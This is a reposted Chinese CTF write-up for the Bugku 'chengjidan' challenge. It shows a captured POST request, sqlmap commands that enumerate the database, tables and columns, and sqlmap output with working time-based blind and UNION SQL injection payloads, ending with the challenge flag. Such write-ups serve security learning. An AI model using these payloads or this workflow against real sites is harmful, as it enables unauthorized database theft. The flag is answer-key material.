bugku 成绩单 writeup

转载

Accept7 于 2019-07-25 17:26:14 发布 122 收藏
分类专栏： CTF sqlmap

CTF 同时被 2 个专栏收录
2 篇文章 0 订阅
订阅专栏

sqlmap
1 篇文章 0 订阅
订阅专栏

一、sqlmap解题

在mac系统中sqlmap可以用brew install sqlmao安装，出现以下界面表示安装成功。

```
[stonedeMacBook-Pro:~ stone$ sqlmap
                         ___
                        __H__
 ___ ___[)]_____ ___ ___  {1.3.7#stable}
|_ -| . [.]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

Usage: python2.7 sqlmap [options]
```


1、首先在输入框中输入数字1，Burp Suite抓包，然后右键Copy to file，我这边保存为chengji.txt

Request Response

Raw Params Headers Hex

```
POST /chengjidan/index.php HTTP/1.1
Host: 123.206.87.240:8002
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Connection: close
Referer: http://123.206.87.240:8002/chengjidan/
Upgrade-Insecure-Requests: 1

id=1
```


2、先破解数据库名称，得出数据库名称为 skctf_flag

```
sqlmap -r chengji.txt  -p id --current-db

//-r 加载抓包获取的文件chengji.txt
//-p 指定参数
```

结果如下：

```
---
Parameter: id (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 4506 FROM (SELECT(SLEEP(5)))xzoJ) AND 'leGw'='leG
w

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: id=-1483' UNION ALL SELECT NULL,CONCAT(0x71706a6a71,0x466c515247417
86c6466474f71584e716b4d727a6164635569744556175444d6a50454564697157,0x717a7a7a71
),NULL,NULL-- oDzd
---
[16:51:24] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12
[16:51:24] [INFO] fetching current database
current database: 'skctf_flag'
[16:51:24] [INFO] fetched data logged to text files under '/Users/stone/.sqlmap/
output/123.206.87.240'

[*] ending @ 16:51:24 /2019-07-25/

stonedeMacBook-Pro:chengji stone$
```

3、根据得到的数据库名，破解数据库表名，破解出有两个表fl4g、sc

```
sqlmap -r chengji.txt -p id -D skctf_flag --tables

//-D 指定数据库名称
//--tables 列出数据库表
```

```
[17:13:55] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12
[17:13:55] [INFO] fetching tables for database: 'skctf_flag'
[17:13:55] [INFO] used SQL query returns 2 entries
[17:13:55] [INFO] retrieved: 'fl4g'
[17:13:55] [INFO] retrieved: 'sc'
Database: skctf_flag
[2 tables]
+------+
| fl4g |
| sc   |
+------+
```

4、一目了然flag在fl4g表中，接下来破解数据库表中的列

```
sqlmap -r chengji.txt -p id -D skctf_flag -T fl4g --columns
```

```
Database: skctf_flag
Table: fl4g
[1 column]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| skctf_flag | varchar(64) |
+------------+-------------+
```


5、查看skctf_flag的值

```
[17:20:44] [INFO] adjusting time delay to 1 second due to good response times
BUGKU{Sql_INJECT0N_4813drd8hz4}
Database: skctf_flag
Table: fl4g
[1 entry]
+---------------------------------+
| skctf_flag                      |
+---------------------------------+
| BUGKU{Sql_INJECT0N_4813drd8hz4} |
+---------------------------------+
```


ps：自己做第一遍的时候都是用手工写注入，用了好久才解出来。看了别人的writeup才知道可以用sqlmap，所以就记录下sqlmap的使用笔记。